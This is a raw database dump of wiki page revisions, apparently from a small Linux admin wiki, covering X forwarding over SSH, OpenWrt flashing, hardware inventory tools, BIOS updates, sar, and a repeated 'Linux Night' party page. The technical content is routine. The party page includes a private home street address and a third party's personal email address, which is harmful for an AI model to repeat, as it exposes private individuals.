Xming Windows Xserver==\n\nA great open source X server for Windows, Xming\n\nhttp://www.straightrunning.com/XmingNotes/\n\nhttp://sourceforge.net/projects/xming/\n\n\n== Simple Windows / X server solution ==\n\n1) Install putty\n\n2) Install Xming X server\n\n3) Start Xming (mult window mode usually best)\n\n4) Use putty, with SSH option for X Forwarding enabled) to connect to server\n ssh -X user@ipaddress\n\n5) Run the X based app you want and it will open on the Windows / X server client. For example, just run gimp & and it should appear on the Windows client. \n\n6) To run the entire desktop use: X -query \'\'ipaddress\'\' This will run the target systems entire desktop, forwarded to your client, using XDMCP. You can also use X - broadcast to see what desktops are available. \n\nDoesn\'t work? See troubleshooting below. \n\n== Improve Desktop Performance ==\n\nRunning XDMCP is not particularly fast, but is encrypted over ssh. You can use a VNC client, which can be faster, but to really see a gain accelrate the X server and client by using the NXserver and NXclient from http://www.nomachine.com/download.php \n\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\nfor application and desktop forwarding thru X over SSH.\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin X Server Option==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n<pre>\n$ X &\nor \n$ XWin.exe &\n</pre>\nOnce the X server is running you can SSH to you server using Cygwin with either\n<pre>\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n</pre>\n(If you use Putty to ssh with, select Connection -->  SSH  --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine, for example:\n<pre>\n$xeyes &\n$katomic $\n$ooffice &\n</pre>\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\n(If you get an error about client denied from \'\'ipaddress\'\'and something about an MIT_MAGIC_COOKIE, see troubleshooting section.)\n\n----\n\n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of \nXDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.\n\n== Troubleshooting ==\n\n*Trying to run an XDMCP desktop remotely and get and Audit message stating:\n\nhttp://www.freedesktop.org/wiki/CygwinXTroubleShooting#head-6a6eba8b76cc333691dc33a73efbd74473ca28eb\n\nCygwin/X reports AUDIT: client 1 rejected from IP \'\'remotehost\'\'\n\nProblem is maybe a wrong DNS (Network name resolution). Make sure your windows host has a hostname which is valid from linux too and an IP address which linux can resolve to that hostname. \n\nIf you add a line \n\n192.168.26.1 myhost \n\nto /etc/hosts on the XDMCP server containing the IP address and the hostname of your windows host the name resolution should work. \n\nAlso, ensure that kdmrc has xdmcp set to true - there is a whole section under [Xdmcp}\n\n*X applications or desktop not being forwarded over ssh?\n\nEnsure X11Forwarding is enabled in sshd_config on the server - restart sshd service','utf-8'),(40,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\nCody     not 8th or 9th                          15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\n Eric    I am good for both dates, when a date is announced I\'ll figure out what to bring.','utf-8'),(41,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\nCody     not 8th or 9th                          15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\nEric    I am good for both dates, when a date is announced I\'ll figure out what to bring.','utf-8'),(42,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\nCody     not 8th or 9th                          15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\nEric    I am good for both dates, when a date is announced I\'ll figure out what to bring.\n(I also invited James Goin [hope thats okay], he is a new tech at our store.  He said both dates sound okay to him.  His email is thomas.james.goin@gmail.com)','utf-8'),(43,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\nCody     not 8th or 9th                          15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\nEric    I am good for both dates, when a date is announced I\'ll figure out what to bring.\n(I also invited James Goin [hope thats okay], he is a new tech at our store.  He said both dates sound okay to him.  His email is thomas.james.goin@gmail.com)\n\nJames C.  Sun the 16th','utf-8'),(44,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n\'\'\'Sunday, 16 Sept 7pm to 10pm or so.\'\'\' \n\n\'\'If you are coming post your name below under Who\'s Coming if you have not already\'\'\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\n Cody     not 8th or 9th                          15th yes / 16th yes\n (i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\n Eric    I am good for both dates, when a date is announced I\'ll figure out what to bring.\n (I also invited James Goin [hope thats okay], he is a new tech at our store.  He said both dates     \n sound okay to him.  His email is thomas.james.goin@gmail.com)\n\n James C.  Sun the 16th','utf-8'),(45,'\n== OS Installation ==\n \n\nOutput by default is directed to serial 0. Use minicom / picocom, etc with baud rate of 115200 for terminal access. (Picocom command sequence ctrl-a, then ctrl-u or d to increase / decrease baud rate.)\n\nThe Strongbolt install from CD seems to require eth0 (marked \"I\")to be used. If not, the base OS is installed but Blue Quartz is not installed, despite being selected on the LCD menu.\n\nhttp://www.osoffice.co.uk/strongbolt_server_appliances.html\n\nhttp://bluequartz.org/\n\nGeneral info on Cobalts\nhttp://www.affordable-dedicated-servers.com/cobalt_xtr.html\n\nDistro of CentOS & Bluequartz for non-Cobalt systems\nhttp://www.nuonce.net/bq-cd.php','utf-8'),(46,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n\'\'\'Sunday, 16 Sept 7pm to 10pm or so.\'\'\' \n\n\'\'\'See you all tonight!\'\'\'\n\n<pre>\n1575 Greenlea Drive, #9\nClearwater, FL 33755\n\nJust south of Sunset Point and Highland.\nBP Station on corner of Highland and Greenlea. Go east two blocks.\nTwo story condos on right, with brown roof, \"The Pines\"\nFirst building as you enter. Ground floor, unit 9.\n</pre>\n\'\'If you are coming post your name below under Who\'s Coming if you have not already\'\'\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\n Cody     not 8th or 9th                          15th yes / 16th yes\n (i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\n Eric    I am good for both dates, when a date is announced I\'ll figure out what to bring.\n (I also invited James Goin [hope thats okay], he is a new tech at our store.  He said both dates     \n sound okay to him.  His email is thomas.james.goin@gmail.com)\n\n James C.  Sun the 16th','utf-8'),(47,'\n== TFTP Install ==\n\n\nhttp://wiki.openwrt.org/OpenWrtDocs/Installing/TFTP?action=show&redirect=OpenWrtViaTftp\n\n# unplug the power to your router\n# start your tftp client (pumpkin tftp is a good easy choice)\n\n    * give it the router\'s address (usually 192.168.1.1)\n    * set mode to octet/binary\n    * tell the client to resend the file, until it succeeds.\n    * put the file \n\n# plug your router, while having the tftp client running and constantly probing for a connection\n# the tftp client will receive an ack from the bootloader and starts sending the firmware\n\nWindows 2000/XP TFTP Client short Instructions\n\n    * Open two command windows (Start-Run-Enter \"cmd\")\n    * In one window, type \"ping -t -w 10 192.168.1.1\" and press enter. 192.168.1.1 is the router IP.\n    * Ping will continuously try to contact the wrt with 10 ms timeout instead of default 4000 ms. Keep this running\n    *\n\n      In the other window, prepare the tftp command \"tftp -i 192.168.1.1 PUT OpenWrt-gs-code.bin\". Do not press enter yet!\n    * Now you may plug in the router (unplug it first if it was plugged).\n    * In the ping window it will start saying \"Hardware Error\"\n    * Return to the tftp window. As soon as the ping window starts to answer again, press enter in the tftp window.\n    * The image should now be flashed without multiple tries.\n    * If ping starts with \"Hardware Error\", then starts to answer, and then returns to \"Hardware Error\" again for a short moment, you waited too long. \n\nif you have a openwrt54gl (v1.1 testet) the timespan might be very short and is located about 2 seconds after pluging in and about 1 second before the ping starts to answer.\n\nNote: if your computer set DHCP, you may not get \"Hardware Error\" but \"Destination host unreachable\" or \"Request timeout\". Set your computer static IP before.\n\n\n\n== Client Mode (Bridging): ==\n\nhttp://wiki.openwrt.org/ClientModeHowto\n\n\n\n== X-Wrt Web interface ==\n\n\nhttp://wiki.x-wrt.org/index.php/Installation_Guide\n\n Install X-Wrt manually\n\nThe X-Wrt webif depends on the Haserl package, so this has to be installed before the webif itself. In both cases the specific links are needed to point ipkg to the correct package. This requires internet access, but it is as alternative possible to SCP the packages onto the router (they should be placed in the /tmp directory).\n\nroot@OpenWrt:~# ipkg install http://downloads.x-wrt.org/xwrt/kamikaze/7.07/brcm-2.4/packages/haserl_0.8.0-1_mipsel.ipk\n\nThen afterwards it is just needed to type:\n\nroot@OpenWrt:~# ipkg install http://downloads.x-wrt.org/xwrt/kamikaze/7.07/brcm-2.4/webif_latest.ipk\n\nThe installation of webif will automatically add the new X-Wrt repositories to ipkg.conf and run the \'ipkg update\' command.','utf-8'),(48,'== Polling Hardware Specs with dmidecode and lshw / lhsw-gui ==\n\n__FORCETOC__\n\nNeed to do a memory install?\n\nSystem not labeled with what board it has?\n\nWant to know what motherboard and what memory it has and in what slots?\n\nFor motherboard / hardware info use lshw and / or dmidecode\n\ndmidecode is built in and provides a wealth of info. lshw give much the same, some extra and also provides a gui\n\n== dmidecode ==\n \n\n# dmidecode\n\ndmidecode will show the number of memory slots and speed of memory, and motherboard model information:\n\n<pre>\nHandle 0x0002\n        DMI type 2, 8 bytes.\n        Base Board Information\n                Manufacturer: Gigabyte Technology Co., Ltd.\n                Product Name: 8LD533\n                Version: 1.x\n                Serial Number:\n</pre>\n\n# dmidecode | grep Memory\n\n<pre>\nHandle 0x0018\n        DMI type 16, 15 bytes.\n        Physical Memory Array\n                Location: System Board Or Motherboard\n                Use: System Memory\n                Error Correction Type: None\n                Maximum Capacity: 2 GB\n                Error Information Handle: Not Provided \n                Number Of Devices: 2\n</pre>\nDIMM Info:\n\n<pre>\nHandle 0x0019\n        DMI type 17, 27 bytes.\n        Memory Device\n                Array Handle: 0x0018\n                Error Information Handle: Not Provided\n                Total Width: 64 bits\n                Data Width: 64 bits\n                Size: 512 MB\n                Form Factor: DIMM\n                Set: None\n                Locator: A0\n                Bank Locator: Bank0/1\n                Type: Unknown\n                Type Detail: CMOS Window DRAM\n                Speed: 266 MHz (3.8 ns)\n                Manufacturer: None\n                Serial Number: None\n                Asset Tag: None\n                Part Number: None\n</pre>\n\n== lshw lshw-gui ==\n\nThis is from:\n\nhttp://ezix.org/project/wiki/HardwareLiSter\n\nAdd this temporarily to /etc/yum.com\n\n [dries]\n name=Extra Fedora rpms dries - $releasever - $basearch\n baseurl=http://ftp.belnet.be/packages/dries.ulyssis.org/redhat/el4/en/i386/dries/RPMS\n gpgcheck=1\n enabled=1\n\nAnd import the key with:\n\n rpm --import http://apt.sw.be/dries/RPM-GPG-KEY.dries.txt\n\nIf you don\'t import the key you will get the ol\'\nPublic key for lshw-2.11.1-1.el4.rf.i386.rpm is not installed\nand yum will choke.\n\n # yum install lshw lshw-gui  \n(Obviously you don\'t need the gui unless you want to forward it over X and view it that way)\n\n # lshw  will give you:\n\n<pre>\n*-core\n       description: Motherboard\n       product: 8LD533\n       vendor: Gigabyte Technology Co., Ltd.\n       physical id: 0\n       version: 1.x\n     *-firmware\n          description: BIOS\n          vendor: Award Software International, Inc.\n          physical id: 0\n          version: 6.00 PG (10/16/2003)\n          size: 128KB\n          capacity: 192KB\n</pre>\nAnd also memory info (speed / slots, etc.):\n<pre>\n*-memory\n          description: System Memory\n          physical id: 18\n          slot: System board or motherboard\n          size: 1GB\n          capacity: 2GB\n        *-bank:0\n             description: DIMM CMOS Window DRAM 266 MHz (3.8 ns)\n             product: None\n             vendor: None\n             physical id: 0\n             serial: None\n             slot: A0\n             size: 512MB\n             width: 64 bits\n             clock: 266MHz (3.8ns)\n        *-bank:1\n             description: DIMM CMOS Window DRAM 266 MHz (3.8 ns)\n             product: None\n             vendor: None\n             physical id: 1\n             serial: None\n             slot: A1\n             size: 512MB\n             width: 64 bits\n             clock: 266MHz (3.8ns)\n</pre>\n\nOr if you prefer, ssh with -X and use lshw-gui and get the data forwarded through X to the gui front end.','utf-8'),(49,'== BIOS Updates  Huzzah !==\n\nWe have collected BIOS updates for all our Dell Servers and the key generic ones as well.\n\nPractically all these systems have whatever BIOS version they shipped with. Some of the Dell 750s for example have BIOS versions A00 - whereas the current is A08 for example.\n\nThese BIOS updates contain innumerable updates for the various systems including improved PXE booting support (often updating PXE Boot to 2.1 and enabling more PXE options) and improved support for booting / recognizing external USB devices. One board even gains a hardware RAID config menu. Many get new PXE boot menus which then have new options. Some can then use other memory types, or support different CPUs such as the Celeron D, etc, etc. ad nausium. \n\nAs both PXE and booting from USB devices is a crucial function our servers must perform, updateing the BIOS is a very good idea. This should be done as part of any new install, reinstall or when otherwise possible. It takes only a few minutes to do.\n\nOperational systems allow us to stay one step ahead of the damn Peace keepers whenever possible. And they make the radiant Aeryn Sun much happier. \n\n[[Image:mini_aeryn01.jpg|frame|center|The Radiant Aeryn Sun]]\n\n== Methods of Booting ==\n\nThere are three update routes: \n\n A) PXE Booting \'\'\'THIS IS NOT YET OPERATIONAL\'\'\'\n B) Bootable USB Stick \n C) Bootable CD ROM\n\nA) PXE Booting \n\nThis is still being worked on. Use the other two methods for now.\n\nB) Bootable USB Stick\n\nThe \'BIOS\' labeled USB key can be used on all Dells and many generics. Set the boot option for enable other = yes and on Dell set the boot device priority, etc. \n\nC) Bootable CDROM\n\nBoot to the CD and then A:>CD d: to get to the files, organized under the BIOS directory.\n\n\nBoth the CD and USB keys should be kept in the install room on the bulletin board. Please return them there.\n\n== How to update the BIOS ==\n\nOnce you are in the BIOS update DOS environment, simply CD to the appropriate directory - these are named after the board model, for example: 8LD533 or S2727 etc. This is printed on the board or of course visible in the POST screen.\n\n(The pause key will halt the POST sequence so you can see the BIOS and board info.)\n\nOnce in the correct directory just run the flash utility and supply the image file name:\n\n C:\\awfl823b.exe p4map148.bin\n Will run the utility and pass the bios image automatically to it.\n You do not need to save to old BIOS\n\nSome boards have autoexec.bat files to do the above.\n\n== Dell Servers - Upgrading in Linux  ==\n\nYou can update Dells using the DOS executable available in the PXE BIOS update or on the boot CD or USB stick. They are organized by model under BIOS\\Dell\\DellDOS\\.  \n\nYou can also execute the linux .bin file from CentOS 4.5 or 5 very easily.  A reboot should be done after as the flash operation does not occur until reboot. However the reboot is not immediately required. \n\n Steps:\n \n From within CentOS:\n \n mount the BIOS USB key or BIOS CD ROM\n yum isntall compat-libstdc++* (use the latest i386 version)\n execute the appropriate.bin file (located on the USB stick / CDROM in /BIOS/Dell/DellLinux \n Reboot and monitor the flash\n\n(Only government sanctioned CentOS is this easy. For other distros your mileage will vary.)\n\n== Generic Servers ==\n\nSome of these will boot to the USB stick. Some will not. There are about a dozen different generic boards. The key ones have BIOS updates available. You will just need to try booting first to the USB and then the CDROM. These are more of a pain, but updating them will make everyones lives easier so please do so when you are doing reinstall them etc.\n\n== Board Notes ==\n\nThere are hardware notes on the various board in the README.txt file under the BIOS directory. If you come across specific hardware / PXE information that should be included please let me know and it can be added.\n\n\n== Board BIOS Versions ==\n\nThese are the latest / most stable BIOS versions to use:\n\n\'\'\'DELLS:\'\'\'\n\n750     A06\n\n850     A04\n\n1425    A03\n\n1850    A06\n\n\'\'\'GENERICS\'\'\'\n\n845GVMRZ F3 (Note: there are later versions which all seem to disable PXE support entirely. Use F3.)\n\n8LD533  F3\n\n8LS533  F2\n\nP4MAP266 1.48\n\nP4MA533 1.12\n\nP4P800MX 1004.2002\n\n\"Rev B1\" (DFI)  1.8 (Most already have this - I don\'t think there ever was an update.)\n\nS2727 1.04 (These are the dual Xeons. PXE is very weird on these. There are two versions, I think all ours use the  MX and not the Windbond flash)\n\nMSI 6524  1.70','utf-8'),(50,'','utf-8'),(51,'__TOC__\n\n== Installing and Configuring sar ==\n\n\nsar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.\n\nInstall sar: yum install sysstat\n\nScripts are in /etc/cron.d\n\nAnd also edit [/etc/sysconfig]# cat sysstat\n\n # How long to keep log files (days), maximum is a month, default is 7\n HISTORY=15\n\n\n----\n\n\nBasic use from shell: sar -A 1\n\nsar -n DEV  #gives network device stats\n\nsar -n EDEV  #gives network device errors\n\n\n\nTo read data from the log use:\n\nsar -f /var/log/sa/sa08 (where 08 is day number to view)\n\n(this same command can be executed from ksar remotely.)\n\n\nNote: sar can also be used to monitor processes, but can\'t log the results by default, however I think you could pipe it to a log manually. \n\n\nSome additional sites on sar\n\nhttp://www.linux.com/articles/114224\n\nhttp://sourceforge.net/project/showfiles.php?group_id=179805\n\n== kSar ==\n\nNew beta 4.0.10:\n\nwebstart : http://ksar.atomique.net/Dev/kSar.jnlp   - NICE \n\njar : http://ksar.atomique.net/Dev/kSar-4.0.10.jar\n\nor wget http://downloads.sourceforge.net/ksar/kSar-4.0.10.jar?modtime=1189451880&big_mirror=0\n\nThis is a pretty killer app - you can poll all the data sar has logged, view it in very pretty graphs and also export it (only the sections you want) as a .pdf file.\n\nThe development site for kSar is: http://ksar.atomique.net/\n\nTo run the Java client: java -jar kSar-4.0.10.jar\n\nTo connect to a remote host select \"launch SSH command\" from the data menu. Connect as: root@ipaddress:port  \n\nOnce connected via ssh, select \"launch ssh command\" again using:\n\nssh command to run: sar -A -f /var/log/sysstat/sa15 (where 15 is the day number to view)\n\n\n[[image:kSar.jpg|center|frame]]','utf-8'),(52,'== OS Installation ==\n \n\nOutput by default is directed to serial 0. Use minicom / picocom, etc with baud rate of 115200 for terminal access. (Picocom command sequence ctrl-a, then ctrl-u or d to increase / decrease baud rate.)\n\nThe Strongbolt install from CD seems to require eth0 (marked \"I\")to be used. If not, the base OS is installed but Blue Quartz is not installed, despite being selected on the LCD menu.\n\nhttp://www.osoffice.co.uk/strongbolt_server_appliances.html\n\nhttp://bluequartz.org/\n\nGeneral info on Cobalts\nhttp://www.affordable-dedicated-servers.com/cobalt_xtr.html\n\nDistro of CentOS & Bluequartz for non-Cobalt systems\nhttp://www.nuonce.net/bq-cd.php\n\n\n\n== Blue Quartz ==\n\nYou can view sites 